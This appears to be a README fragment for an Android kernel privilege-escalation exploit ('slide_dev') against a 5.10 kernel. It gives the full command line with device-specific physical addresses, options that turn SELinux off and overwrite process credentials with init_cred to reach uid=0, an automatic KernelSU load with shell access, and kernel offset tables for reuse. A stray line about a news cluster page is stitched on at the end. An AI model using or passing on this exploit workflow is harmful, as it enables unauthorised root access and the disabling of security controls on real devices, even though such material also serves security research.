./slide_dev 0x28000000 persist noslide neutral sweep 64 sweepstart=25 ownprobe shortseq
| `0x28000000` | this device's delta (XBL kernel load 0xA8000000 − P0_PHYS_OFFSET 0x80000000) |
| `noslide` / `neutral` | skip legacy walk-slide; neutralise page |
| `sweepstart=25` | start at grid cell 25 — a cell that has landed every boot on this device (phys 0xaccd7000) |
| `ownprobe` | pure userspace self-write probe (zero walk deaths) |
| `shortseq` | mini 3-write sequence: SELinux off → `real_cred`/`cred` = `init_cred` |
*Terms: a **grid cell** is one candidate physical address; a **death cell** is a
candidate that faults the kernel walk on this build.*
On success: `uid=0` → automatic `ksud late-load --kmi android12-5.10 --allow-shell` → KernelSU.
- **One boot, one run.** Placement and KASLR are fresh each boot; re-running in
the same boot lands on a disturbed memory map.
- **LKM is per-boot.** KernelSU disappears after reboot; re-run `run.sh`
(without touching boot.img you cannot auto-load at boot).
- **Never `insmod kernelsu.ko`** — it fails on ~40 unexported symbols; use
- Full mechanics and troubleshooting: `docs/TUTORIAL.md`.
`offsets/` holds the offset table for this kernel for frameworks that support
multi-device offset tables / runtime JSON import:
- `offsets-5.10.205.json` — runtime JSON format (`symbols` + `struct_fields`).
- `5.10.205-offsets.h` — C header format (`STRUCT_OFFSETS_5_10` entry).
Note: the 5.10 `rt_mutex_waiter` is a **10-word flat** layout
(`tree/pi_tree/task/lock/prio/deadline`), different from 6.1/6.6; a consumer
needs a matching waiter branch (word10 = plain prio, no `ww_ctx`).
MIT (see `LICENSE`). **Authorized security research only.**
See `docs/CREDITS.md` — and `docs/ROADMAP.md` for what we tried and what finally worked.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
